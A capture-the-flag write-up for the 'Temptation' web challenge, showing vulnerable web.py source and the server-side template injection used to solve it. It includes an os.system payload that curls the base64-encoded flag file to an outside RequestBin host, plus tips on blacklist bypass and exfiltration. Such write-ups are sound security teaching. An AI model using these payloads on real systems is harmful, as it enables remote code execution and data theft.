📖 Introduction
Context Explanation
The “Temptation” challenge is a web application security exercise focusing on template injection vulnerabilities in Python web applications.

Directive
The goal is to retrieve a flag by exploiting vulnerabilities in the web application.
🛠️ Solution
Analyzing source code
First, we need to retrieve the application’s source code. The webpage contains a hidden comment suggesting to look at /?source.
<html>
<head>
<title>Temptation</title>
</head>
<body>
<h1>Temptation challenge</h1>
<form action="/" method="POST">
<table>
<tr>
<th>
<label for="temptation">What is your temptation?</label>
</th>
<td>
<input id="temptation" name="temptation" type="password"/>
</td>
</tr>
<tr>
<th>
<label for="submit"></label>
</th>
<td>
<button id="submit" name="submit">submit</button>
</td>
</tr>
</table>
</form>
<!-- Look at me, I'm soo tempting! /?source -->
</body>
</html>
However, directly accessing this path doesn’t reveal anything.
After testing different inputs, we discover that adding any parameter value (e.g., /?source=anything) reveals the source code.
import web
from web import form
web.config.debug = False
urls = (
'/', 'index'
)
app = web.application(urls, locals())
render = web.template.render('templates/')
FLAG = open("/tmp/flag.txt").read()
temptation_Form = form.Form(
form.Password("temptation", description="What is your temptation?"),
form.Button("submit", type="submit", description="Submit")
)
class index:
def GET(self):
try:
i = web.input()
if i.source:
return open(__file__).read()
except Exception as e:
pass
f = temptation_Form()
return render.index(f)
def POST(self):
f = temptation_Form()
if not f.validates():
return render.index(f)
i = web.input()
temptation = i.temptation
if 'flag' in temptation.lower():
return "Too tempted!"
try:
temptation = web.template.Template(f"Your temptation is: {temptation}")()
except Exception as e:
return "Too tempted!"
if str(temptation) == "FLAG":
return FLAG
else:
return "Too tempted!"
application = app.wsgifunc()
if __name__ == "__main__":
app.run()
The source code analysis reveals several key points:
- The application uses the
web.pyframework - The flag is stored in
/tmp/flag.txt - A form asks for a “temptation” input
- Multiple security checks are implemented:
if 'flag' in temptation.lower():
return "Too tempted!"
if str(temptation) == "FLAG":
return FLAG
The interesting part is the template string evaluation using web.template.Template() with an f-string, which is vulnerable to Python code injection.
temptation = web.template.Template(f"Your temptation is: {temptation}")()
Exploitation
The vulnerability lies in the template processing. While the application prevents using the word flag directly and requires the final output to be FLAG, we can bypass these restrictions using template injection.
- First, we confirm the vulnerability using a time-based payload:
${__import__('os').system('sleep 5')}

Access to the flag
- After confirming the RCE capability, we craft a payload to exfiltrate the flag:
${__import__('os').system('curl https://eohs7zi0yztnmqq.m.pipedream.net/$(cat /tmp/f*.txt | base64)')}
This payload:
- Uses
os.system()to execute shell commands - Reads the flag file using
catwith a wildcard to avoid using “flag” in the payload - Base64 encodes the content to ensure safe transmission
- Exfiltrates the data using
curlto a RequestBin endpoint

- Decoding the received base64 string:
echo 'RU5Pe1QzTV9QbDRUXzNTXzRyM19TM2NVcmUhIX0=' | base64 -d
ENO{T3M_Pl4T_3S_4r3_S3cUre!!}
Tips & Tricks
- When dealing with template injection, remember that f-strings in template contexts can be particularly dangerous
- Base64 encoding is useful for exfiltrating data while avoiding special character issues
- RequestBin (or similar services) are valuable tools for data exfiltration in CTF challenges
- Using wildcards (
f*.txt) can help bypass word blacklists - Always check source code comments, they often contain valuable hints